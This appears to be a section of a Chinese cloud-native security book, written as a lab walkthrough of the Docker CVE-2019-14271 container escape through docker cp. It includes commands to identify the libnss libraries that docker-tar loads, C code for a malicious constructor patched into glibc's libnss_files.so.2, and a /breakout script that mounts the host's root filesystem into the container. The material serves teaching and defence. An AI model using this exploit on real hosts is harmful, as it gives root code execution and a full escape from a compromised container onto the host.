3.2.3 CVE-2019-14271:加载不受信任的动态链接库
在19.03.x及若干非正式版本的Docker中,docker cp命令依赖的docker-tar组件会加载容器内部的nsswitch动态链接库,但自身却并未被容器化,攻击者可通过劫持容器内的nsswitch动态链接库来实现对宿主机进程的代码注入,获得宿主机上root权限的代码执行能力,CVSS 3.x评分为9.8分。
动态链接库劫持本身是一个经典的计算机技术,在许多领域都得到过应用。CVE-2019-14271漏洞的核心问题在于高权限进程自身并未容器化,却加载了不可控的容器内部的动态链接库。一旦攻击者控制了容器,就可以通过修改容器内动态链接库来实现在宿主机上以root权限执行任意代码。
事实上,在用户执行docker cp后,Docker守护进程会启动一个docker-tar进程来完成这项复制任务。以“从容器内复制文件到宿主机上”为例,它会切换进程的根目录(执行chroot)到容器根目录,将需要复制的文件或目录打包,然后传递给Docker守护进程,Docker守护进程负责将内容解包到用户指定的宿主机目标路径。
chroot操作主要是为了避免符号链接导致的路径穿越问题,但新的问题出现了——存在漏洞版本的docker-tar会加载必要的动态链接库,主要是以“libnss_”开头的nsswitch动态链接库(libnss_*.so)。chroot切换根目录后,docker-tar将加载容器内部的动态链接库!
如何利用这个漏洞呢[1]?漏洞利用的主要思路如下:
1)找出docker-tar具体会加载哪些容器内的动态链接库。
2)下载对应动态链接库源码,为其增加一个__attribute__((constructor))属性的函数run_at_link(该属性意味着在动态链接库被进程加载时,run_at_link函数会首先执行),在run_at_link函数中放置我们希望docker-tar执行的攻击载荷(payload);编译生成动态链接库文件。
3)编写辅助脚本“/breakout”,将辅助脚本和步骤2生成的恶意动态链接库放入恶意容器,等待用户对容器执行docker cp命令,触发漏洞。
大家可以使用我们开源的metarget靶机项目,在Ubuntu服务器上一键部署漏洞环境,在参照项目主页安装metarget后,直接执行以下命令:
./metarget cnv install cve-2019-14271
即可安装好存在CVE-2019-14271漏洞的Docker。
1.第一步:确定目标
如何找出docker-tar启动后会加载的容器内动态链接库呢?有两种思路,最直接的思路就是分析Docker源码,抽丝剥茧,不过也比较费时间;另外一种思路是执行一次docker cp命令,观察在这个过程中容器内部哪些动态链接库被加载了。
我们采用第二种思路,Linux提供了inotify机制,用来监控文件系统变化。inotify-tools是一系列基于inotify机制开发而成的命令行工具,我们可以借助这些命令行工具(如后文会提到的inotifywait)来监控docker-tar对容器内动态链接库的使用情况。
在存在漏洞的Docker环境中,首先执行如下命令,运行一个容器:
docker run -itd --name=test ubuntu
然后,我们要拿到容器在宿主机上的绝对路径,才能对它进行监控。执行以下命令:
docker exec -it test cat /proc/mounts | grep docker
返回结果中包含类似下面这样的字符串:
workdir=/var/lib/docker/overlay2/642e9e7da29f8ffcbef815e968ff8325a76975039a1b 0627564d381416fc7a71/work
那么,容器根目录在宿主机上的绝对路径即为:
/var/lib/docker/overlay2/642e9e7da29f8ffcbef815e968ff8325a76975039a1b0627564d 381416fc7a71/merged
接着,执行如下命令,在另一个终端中使用inotifywait工具,在宿主机上监听容器文件系统中lib目录的事件:
apt install -y inotify-tools inotifywait -mr /var/lib/docker/overlay2/642e9e7da29f8ffcbef815e968ff8325a769 75039a1b0627564d381416fc7a71/merged/lib/
现在就可以执行docker cp了。例如,我们执行:
docker cp test:/etc/passwd ./
然后可以在之前的终端中看到inotifywait的输出,例如:
Setting up watches. Beware: since -r was given, this may take a while! Watches established. /var/lib/docker/overlay2/642e9e7da29f8ffcbef815e968ff8325a76975039a1b0627564d 381416fc7a71/merged/lib/x86_64-linux-gnu/ OPEN libnss_compat-2.27.so /var/lib/docker/overlay2/642e9e7da29f8ffcbef815e968ff8325a76975039a1b0627564d 381416fc7a71/merged/lib/x86_64-linux-gnu/ OPEN libnss_nis-2.27.so /var/lib/docker/overlay2/642e9e7da29f8ffcbef815e968ff8325a76975039a1b0627564d 381416fc7a71/merged/lib/x86_64-linux-gnu/ OPEN libnsl-2.27.so /var/lib/docker/overlay2/642e9e7da29f8ffcbef815e968ff8325a76975039a1b0627564d 381416fc7a71/merged/lib/x86_64-linux-gnu/ OPEN libnss_files.so.2
可以看到,在这次复制操作中,docker-tar加载了libnss_compat-2.27.so、libnss_nis-2.27.so、libnsl-2.27.so和libnss_files.so.2。后面,我们选择libnss_files.so.2为目标,构造一个恶意的动态链接库来替换它。
2.第二步:构建动态链接库
libnss_*.so均在Glibc中,我们首先下载Glibc库[2]并解压到本地目录,笔者这里为/root/gnu/glibc-2.27。然后在/root/gnu目录下新建一个glibc-build目录,作为构建目录。
我们首先需要注释掉glibc-2.27/Makeconfig文件中的一行警告设置,避免加入恶意payload后编译失败:
gccwarn-c = -Wstrict-prototypes -Wold-style-definition
接着,我们就可以在源码中添加恶意payload了——可以在glibc-2.27/nss/nss_files/目录下任意源码文件中添加payload。作为示例,笔者选择该目录下的files-service.c文件。我们在这里并不向payload中添加过多的操作,仅仅将其作为一个获取控制权的途径;把真正具有威胁的操作写入容器内/breakout脚本文件中,让动态链接库里的payload去执行/breakout脚本文件即可。
具体地,我们向glibc-2.27/nss/nss_files/files-service.c中添加的部分代码如下:
//容器内部原始libnss_files.so.2文件的备份位置 #define ORIGINAL_LIBNSS "/original_libnss_files.so.2" //恶意libnss_files.so.2的位置 #define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2" //带有constructor属性的函数会在动态链接库被加载时自动执行 __attribute__ ((constructor)) void run_at_link(void) { char * argv_break[2]; //判断当前是否是容器外的高权限进程(也就是docker-tar) //如果是容器内进程,则不做任何操作 if (!is_priviliged()) return; //攻击只需要执行一次即可 //用备份的原始libnss_files.so.2文件替换恶意libnss_files.so.2文件 //避免后续的docker cp操作持续加载恶意libnss_files.so.2文件 rename(ORIGINAL_LIBNSS, LIBNSS_PATH); //以docker-tar进程的身份创建新进程,执行容器内/breakout脚本 if (!fork()) { //Child runs breakout argv_break[0] = strdup("/breakout"); argv_break[1] = NULL; execve("/breakout", argv_break, NULL); } else wait(NULL); //Wait for child return; }
恶意libnss_files.so.2文件被加载时,首先会判断当前加载进程是否为docker-tar进程,如果是,则以当前进程的身份执行/breakout脚本。由于docker-tar已经执行了chroot命令,/breakout路径指向的是容器内根目录下的脚本,但由于docker-tar并未做其他命名空间级别上的隔离,因此/breakout会以docker-tar自身的root权限在宿主机命名空间内执行。
下面就可以编译了,执行如下命令:
cd /root/gnu/glibc-build/ make
第一次编译Glibc需要一些时间,后面再次编译就会快很多。编译结束后,glibc-build/nss/libnss_files.so就是我们需要的恶意动态链接库文件。
3.第三步:实现逃逸
现在,我们已经有了恶意的动态链接库文件libnss_files.so。在存在漏洞的Docker环境中,如果用户执行了docker cp,后台的docker-tar进程在执行了chroot命令后一旦加载恶意文件libnss_files.so,那么容器内的/breakout脚本就会以docker-tar身份执行。
由于docker-tar已经切换了根目录,但还没有加入容器的命名空间,我们考虑在/breakout中执行挂载操作,由docker-tar将宿主机根目录挂载到容器内的/host_fs路径——这样一来,我们就实现了文件系统层面的容器逃逸。
在docker-tar进程上下文中,/breakout首先将procfs伪文件系统挂载到容器内,然后将PID为1的进程的根目录/proc/1/root绑定挂载到容器内部即可:
#!/bin/bash # /breakout的内容 # 首先确保容器内/host_fs路径空闲可用 umount /host_fs && rm -rf /host_fs mkdir /host_fs # 挂载宿主机的procfs伪文件系统 mount -t proc none /proc # 挂载宿主机根目录到/host_fs cd /proc/1/root mount --bind . /host_fs
首先执行如下命令,创建一个容器(模拟该容器被攻击者控制的场景):
docker run -itd --name=victim ubuntu
将breakout脚本放入victim容器根目录,接着将/lib/x86_64-linux-gnu下的libnss_files.so.2符号链接指向的库文件移动到容器根目录下并重命名为original_libnss_files.so.2。在不同容器环境中具体文件名可能不同,可以使用以下命令查看:
readlink /lib/x86_64-linux-gnu/libnss_files.so.2
笔者环境下为/lib/x86_64-linux-gnu/libnss_files-2.27.so。最后将前文构建好的恶意libnss_files.so重命名为libnss_files.so.2,放在容器内/lib/x86_64-linux-gnu目录下。
下面我们就来模拟用户执行docker cp操作。例如,用户想把容器内的/etc/passwd文件复制出来,执行如下命令:
docker cp victim:/etc/passwd ./
执行后,漏洞被成功触发,容器内部已经可以看到挂载的/host_fs,其中的/etc/hostname显示的即为宿主机的hostname,这个过程如图3-4所示。
图3-4 CVE-2019-14271漏洞利用截图
相对路径和符号链接引起的安全问题由来已久,云原生环境对它们而言无非是“新瓶装旧酒”。其中,符号链接带来的安全问题更多,感兴趣的读者还可以了解一下CVE-2014-4877——一个存在于wget中的符号链接相关漏洞。
另外,我们还可以把思维发散一下——Windows上有没有类似符号链接一样的东西呢?有的,那就是快捷方式。那么快捷方式是否存在漏洞呢?当然。著名的震网病毒(Stuxnet)就利用了一个存在于Windows快捷方式解析机制中的漏洞:CVE-2010-2568;再往后,Windows于2017年又被爆出一个与快捷方式有关的高危漏洞CVE-2017-8464,由于与CVE-2010-2568存在一定相似性,业界又称其为“震网三代”。
回过头来看,相信读者能够认识到,很多漏洞的原理是类似的,即便云原生是全新的体系,很多云原生的漏洞却似曾相识。虽然云原生的发展如火如荼,但云原生安全建设任重道远。
[1] https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-withcve-2019-14271/。随书代码仓库路径:https://github.com/brant-ruan/cloud-native-security-book/tree/main/code/0302- 开发侧攻击/03-CVE-2019-14271。
[2] 直接从官方下载:https://ftp.gnu.org/gnu/glibc/glibc-2.27.tar.bz2。